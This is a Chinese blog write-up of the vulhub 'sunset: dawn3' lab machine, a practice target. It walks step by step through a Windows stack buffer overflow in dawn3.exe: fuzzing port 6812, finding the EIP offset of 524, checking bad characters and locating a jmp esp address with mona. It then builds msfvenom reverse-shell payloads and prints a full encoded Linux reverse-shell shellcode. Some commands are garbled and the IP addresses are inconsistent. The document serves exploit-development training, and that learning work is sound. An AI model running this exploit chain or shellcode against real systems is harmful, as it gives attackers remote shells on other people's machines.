vulhub-sunset:dawn3

这台靶机的知识是win缓冲区溢出漏洞,本篇文章是按照b站红队笔记师傅视频学习的

nmap 常规扫描,有个6812端口和21端口

匿名登入ftp,下载dawn3.exe

file,binwalk,strings先查看一下文件

从输出中可以看到一些信息:

PE32 是一种用于 32 位 Windows 操作系统的可执行文件格式

"(console)" 表示这是一个控制台应用程序

"Intel 80386",表示它是 x86 架构 作者:RuneSpace https://www.bilibili.com/read/cv25686993/ 出处:bilibili

能看到有一个 PE 程序和三段加密的数据块,不好确认这些加密数据里是否有捆绑的程序。但是考虑到这是一台靶机的缘故,所以也不用太担心会出现捆绑恶意软件的情况出现。 

输出了很多内容,全部看下来会很费时间。先往下走,如果发现走不通了再回头来慢慢检查。 作者:RuneSpace https://www.bilibili.com/read/cv25686993/ 出处:bilibili

放到window7上执行一下,有一个等待连接窗口

虽然没明说说是服务是哪个端口,但是可以从靶机开放的端口来猜测,有极大可能就是 6812

netstat -ano 查看这台 Windows 7 开放了哪些端口 有个6812端口开放

klai nc 192.168.56.111 6812 随便输入一些东西。windows上返回,说明二者成功建立了连接

猜测有有缓冲区溢出漏洞

识别缓冲区溢出

既然程序支持输入数据,我们可以尝试输入大量数据,观察是否会导致崩溃。如果程序崩溃了,可能存在缓冲区溢出漏洞。 

有两种方法可以发送数据进行测试。一种方法是编写脚本来向目标端口发送数据。另一种方法是直接使用 nc 命令来发送数据。

我们可以直接通过命令行来实现这个目标。从 100 开始,逐渐增加数据量,如 200、400、600...... 直到目标程序崩溃。

kali中执行

python2 -c 'print "A"*600' | nc 192.168.56.111 6812

在尝试发送 600 个字符 'A' 到目标端口时,目标程序发生了崩溃。

综上所述,我们目前得到了以下信息:

目标系统只开放了两个 TCP 端口,分别是 FTP 和 dawn3.exe 程序所使用的端口。

我们获得了一个名为 dawn3.exe 的程序,并成功运行它。该程序会在主机上开启一个 6812 端口,允许远程输入数据。

在向目标端口输入 600 个字符时,程序发生崩溃。

综合上述三点信息,可以推测这台靶机的设计初衷可能是让我们分析 dawn3.exe 程序,并利用缓冲区溢出漏洞来攻击该靶机。 

定位 EIP 的位置 

左上角的窗口里显示的是程序汇编代码

右上角的窗口里展示的是寄存器的信息

左下交的窗口里展示的是内存信息

右下角的窗口里展示的是堆EIP(Extended Instruction Pointer)是 x86体系结构中的一个寄存器,用于存储下一条将要执行的指令的内

运行 Immunity 后点击文件图标(或者按 F3 用快捷键)来打开目标程序 

打开程序之后,点击三角按钮运行程序(或者按 F9 用快捷键来运行程序) 

当看到 dawn3.exe 显示了提示信息,并且右下角的运行状态为 “Running” 时就代表运行成功 

再次输入上面的命令

可以看到在右上方的窗口上EIP 寄存器的值变为了 "41414141",这对应于 ASCII 值为 41 的字符 "A"。

现在因为我们成功地修改了 EIP 的值,所以可以确认这个程序有缓冲区溢出漏洞的存在。

因此,我们的下一步目标是确定需要输入多少个 "A" 才能溢出到 EIP 寄存器,从而修改 EIP 的值,这将影响 CPU 执行的下一条指令。 进行下一步操作之前,点击叉来关闭当前应用(或者用快捷键 Alt+F2 来关闭)

这里会用到 msf 的一个工具:msf-pattern_create ,可以用它来生成一段连续不重复的字符串

msf-pattern_create -l 600

python2 -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"' | nc 192.168.56.111 6812

发送之后,可以看到 EIP 的值变成了 "35724134",也就就是 "\x35\x72\x41\x34"

然后就可以用另一个工具 msf-pattern_offset 来寻找偏移量

msf-pattern_offset -q 35724134 查看偏移量工具 524

它计算偏移量为 524,这意味着从第 524 个字符开始,数据将会溢出到 EIP 寄存器中。

在 x86 架构中,采用小端字节序。这意味着低位字节存储在内存的低地址处,而高位字节存储在内存的高地址处。因此,"\x35\x72\x41\x34" 的存储顺序实际上应该是反过来的,它的值为:"\x34\x41\x72\x35"。

将这个 "\x34\x41\x72\x35" 转换为 ASCII 码,得到的是 "4Ar5"。这正好是我们使用 "msf-pattern_create -l 600" 生成的字符串的一部分。

接下来就是是确定 "4Ar5" 这段字符串从源字符串的第几个字符开始出现的。将这段字符放入文本编辑器中,选中 "4Ar5" 之前的字符,就可以发现在它之前的字符串的总长度是 524

因此,我们可以尝试发送如下内容:

524 个 "A" 作为填充,以达到溢出之前的目的,加上 4 个 "B" 用来覆盖 EIP 寄存器,再加上72 个 "C" 用来填充堆栈

要注意的是,每次发送数据之前,都需要关闭 Immunity Debugger 中的 dawn3.exe 程序,并重新运行它,确保程序的正常运行。

python2 -c 'print "A"524 + "B"4 + "C"*72' | nc 192.168.56.111 6812

发送完成后,我们可以观察到 EIP 寄存器的值变为了 "42424242",即 "BBBB",这表明我们成功地将数据精准地溢出到了 EIP 寄存器中。

因此,我们现在成功地定位了 EIP 的位置,下一步就是测试 ESP 的容量。

测试 ESP 的容量

ESP(Extended Stack Pointer)是 x86架构中的一个寄存器,通常被用于指示栈的当前顶部。

在后续的操作中,我们将会把 Shellcode 存放在栈中。标准的 Shellcode 大小通常约为 500 个字节左右。因此,我们需要测试一下 ESP 寄存器的容量,看看是否足够容纳这 500 个字节的 Shellcode。如果程序没有崩溃,就说明可以继续进行下一步。

将 C 的数量改为 500,并发送数据到目标地址:

python2 -c 'print "A"524 + "B"4 + "C"*500' | nc 192.168.10.49 6812

500 个 C 发送过去之后,可以看到堆栈从 "28FCF0" 开始

从 "28FEDC" 结束

计算中间的字节数量

python

0x28FCF0-0x28FEDC 输出492是足够放shellcode的

查找不兼容字符(坏字符)

不同的程序存在不同的不兼容字符,我们需要找出那些不能被利用的不兼容字符,并将它们筛选出来。这样可以确保在生成 Shellcode 时不会因为这些不兼容字符的存在而导致执行异常。

举例来说,"\x00" 就是一个坏字符,在系统底层中它被视为字符串的终止符或结束标志。因此,如果 Shellcode 中包含 "\x00",就可能导致程序异常终止。

我们可以使用工具来生成所有可能的字符,然后用这些字符来进行测试。以下链接提供了一个工具,可以生成不兼容字符,用于指导编码器(如 shikata-ga-nai)将这些字符转换为其他字符:

git clone https://github.com/cytopia/badchars.git

进入目录执行.badchars

执行程序之后,能看到他生成了除 "\x00" 以外的所有字符,下面就将它进我们的测试命令中,发送给目标

python2 -c 'print "A"524 + "B"4 + "生成的坏字符"' | nc 192.168.10.49 6812

发送完成后追踪 ESP 的内存位置

可以看到从地址 "28FCF0" 开始的 "01"、"02"、"03" 到最后的 "FF" ,并没有缺失一个字符

这说明目标程序并没有不兼容的字符,也就是没有坏字符("\x00" 除外)

下面就可以定位 ESP 的位置了

定位 ESP 的位置

由于 ESP 寄存器中的地址是不确定的,我们需要找到 ESP 的地址,并将它覆盖到 EIP 寄存器中。这样,当 CPU 执行到 EIP 所指向的地址时,它实际上会执行 ESP 寄存器中存储的地址。而 ESP 指向的内存位置已被我们的 Shellcode 所覆盖,因此 CPU 将会执行我们的 Shellcode。

为了找到 ESP 寄存器的地址,我们需要使用一个叫做 msf-nasm_shell 的工具。这个工具能够将汇编语言代码转换为相应的十六进制格式,以便我们在漏洞利用中使用

在上面的内容中,我们对 "jmp esp" 的十六进制格式进行了查询,发现它十六进制格式为 FFE4,相应的操作码为 "\xFF\xE4"。

"jmp esp" 是一个汇编指令,其作用是跳转到存储在 ESP 寄存器(栈指针)中的地址所指向的位置,也就是我们通常用来存放 Shellcode 的位置。

接下来,我们将在 "dawn3.exe" 这个程序中寻找包含 "jmp esp" 指令的位置,从而获取 ESP 寄存器所指向的位置。

需要注意的是,在寻找时我们不能直接使用 "jmp esp" 作为关键字,而是要使用其对应的操作码:"\xFF\xE4"。

此时,我们需要使用 Immunity Debugger 的名为 "mona" 的插件。默认情况下该插件是未安装的,需手动下载并安装。 将其文件中的py脚本复制到debug的pycommands文件里面,重启debug

执行成功后出现

从 Module info 这个列表中可以看出来有四种安全机制:

Rebase(重定位):重定位是一种操作系统和程序加载器的特性,允许将共享的库和可执行文件加载到内存中的不同位置,以防止地址空间的冲突。重定位可以提高系统的安全性,防止一些攻击,如基于地址的攻击。

SafeSEH(安全异常处理链表):在 Windows 操作系统中,SafeSEH 是一种保护机制,用于检测和阻止异常处理链表被利用用于漏洞利用。它可以帮助防止 SEH(Structured Exception Handling)覆盖攻击。

ASLR(地址空间布局随机化):ASLR 是一种操作系统的安全特性,通过随机化加载程序和库的内存位置,来防止攻击者预测这些位置。这可以减少缓冲区溢出和代码注入等攻击的成功率。

NXCompat(不可执行内存保护):NXCompat 是一种硬件和操作系统级别的安全特性,阻止内存中的数据被当作代码执行。这可以防止缓冲区溢出等漏洞被利用来执行恶意代码。

但这四种安全机制对于 dawn3.exe 来讲都是 False,也就是没有启用,所以我们可以继续进行操作。

确定了可以继续利用之后就可以开始找目标的 "jmp esp" 的位置了

!mona find -s "\xff\xe4" -m dawn3.exe

!mona find: 这是 Mona 工具的命令,用于执行查找操作

-s "\xff\xe4": 这是要查找的字节序列,即 jmp esp 指令的机器码。

-m dawn3.exe: 这是要在其中查找的目标可执行文件。

执行命令后,我们找到了一个指针的信息,可以从中看到该指针指向地址为:"0x52501513"。

现在,我们可以使用这个地址来覆盖 EIP 寄存器,从而引导 CPU 执行栈中的 Shellcode。

python2 -c 'print "<填充字符>" + "<EIP指定下一条执行命令的位置>" + "<Shellcode>"' python2 -c 'print "A"*524 + "\x13\x15\x50\x52" + "<Shellcode>"'

生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.111 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

-b: 这个参数是设置一个需要被避免的字符集。在这里,"\x00" 表示空字节(NULL)

-e: 这是 payload 的编码选项。"x86/shikata_ga_nai" 是 Metasploit Framework 中的一种简单编码方式,用于绕过一些基本的字符过滤和检测机制。

-f: 这是指定生成的 payload 格式。

这个命令生成了一个大小为 351 字节的 Shellcode。考虑到堆栈空间有 492 字节,这个大小是足够的。

然而,需要注意的是,"shikata_ga_nai" 编码器会在执行代码之前生成一个用于解码的解码器,因此会占用一些字节。为了给解码器预留空间,这里使用 "\x90" 字节作为填充,确保有足够的空间供解码器使用。如果不预留空间,后续的 Shellcode 可能有部分会被覆盖,导致无法正常执行。

"\x90" 表示 NOP 指令,在汇编语言中,NOP 指令通常用作占位符或延时操作。在许多情况下 NOP 指令不会对程序的执行产生实际影响,它主要用于填充指令序列,以实现指令地址对齐或缓解特定条件。

然后就可以将生成的 Shellcode 和填充的 NOP 指令组合起来

python2 -c 'print "A"524 +"\x13\x15\x50\x52" + "\x90"10 + "shellcode" | nc 192.168.56.110 6812

数据发送之后就可以成功地收到反弹回来的 Shell。测试结束,接下来就是对靶机进行漏洞利用了。

生成linux的shellcode,成功获得立足点

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

"\xdb\xcc\xd9\x74\x24\xf4\x58\xbf\x3b\x19\x9b\xac\x33\xc9\xb1\x12\x31\x78\x17\x03\x78\x17\x83\xfb\x1d\x79\x59\xca\xc6\x8a\x41\x7f\xba\x27\xec\x7d\xb5\x29\x40\xe7\x08\x29\x32\xbe\x22\x15\xf8\xc0\x0a\x13\xfb\xa8\x4c\x4b\xc3\x4e\x25\x8e\x34\x8f\x0e\x07\xd5\x3f\x16\x48\x47\x6c\x64\x6b\xee\x73\x47\xec\xa2\x1b\x36\xc2\x31\xb3\xae\x33\x99\x21\x46\xc5\x06\xf7\xcb\x5c\x29\x47\xe0\x93\x2a"

自己可以再多看看,很值得学习

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值